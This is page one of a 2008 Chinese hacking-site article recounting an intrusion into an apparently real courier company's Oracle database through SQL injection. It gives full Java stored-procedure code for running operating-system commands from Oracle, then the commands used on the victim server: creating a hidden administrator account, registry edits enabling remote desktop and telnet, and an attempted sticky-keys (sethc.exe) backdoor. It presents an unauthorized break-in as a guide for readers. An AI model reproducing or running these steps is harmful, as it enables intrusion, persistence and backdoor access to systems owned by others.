黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[组图]对著名快递公司的一次艰难的oracle注入
        ★★★★★

对著名快递公司的一次艰难的oracle注入

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-6-14 9:30:21

java存储过程:

第一步:

以下是引用片段:
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*; 
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1; 
try
{
Process p = rt.exec(args);
int bufSize = 4096; 
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len); 
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}

第二步:

以下是引用片段:
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name ’util.RunThis(java.lang.String) return integer’;

第三步:
以下是引用片段:
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin 
x := RUN_CMz(p_cmd);
end;
创建完之后,就可以通过x := RUN_CMz(dos命令)来执行系统命令了。建完存储过程后系统命令执行成功, 如图

Highslide JS

但是后来发现这个shell很不爽,如果遇到需要交互的命令就会卡死,刚开始想用"ftp 我的ip地址"检测下能不能执行,结果卡死,我这边防火墙也没反应,不解,后tasklist,发现ftp://ftp.exe/,确定对方不能连接外网,可能有防火墙或作了设置,于是用ftp传马思路抛弃,打个systeninfo命令看下系统,是2003,于是打算先建个超级用户然后开3389,执行exec :x := RUN_CMD('net user')结果卡死,猜测net被删,执行
exec :x := RUN_CMD('net1 user');
成功,执行
exec :x := RUN_CMD('net1 user rebeyond rebeyond  /add&net1 localgroup administrators rebeyond /add');
成功,下面用reg命令读下3389的状态和端口,执行
exec :x := RUN_CMD('reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"');
发现fDenyTSconnections值为1,说明3389关闭,于是依次执行以下语句开3389:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
因为cmd一交互就卡死,所以加了个/f强行参数,搞定后运行mstsc连接,结果另人吐血,能连上但是却没有登录窗口,提示说什么" awgina.dll被替换成未知版本",猜测可能把3389用到的dll给删除了,因为虽然不能登录但可以连接,于是想到了替换sethc.exe,在shell下依次执行:
exec :x :=RUN_CMD ('del c:\windows\system32\sethc.exe /f')
exec :x :=RUN_CMD('del C:\WINDOWS\system32\dllcache\sethc.exe /f')
exec :x :=RUN_CMD('copy c:\windows\explorer.exe c:\windows\system32\sethc.exe'),

按五次shift后发现没替换成功,也没删除成功,推断原因只有一个,就是没权限,但是我在前面用java建shell前专门赋予了权限的,不解,百度一番!发现赋予文件操作权限必须得以dba的方式登录,但是前面说了我们无法以dba方式登录,顿时大脑一片空白,没有写和删除权限,只有运行权限,思路一下少了很多,继续!!忽然想到了telnet,用reg查看了下telnet服务的状态为禁用,于是执行
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr" /v Start /t REG_DWORD /d 2 /f

把telnet服务设置为自动,然后就是想办法让服务器重启开telnet。

上一页  [1] [2] [3] [4] 下一页

文章录入:cainiaowang    责任编辑:xinlian 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886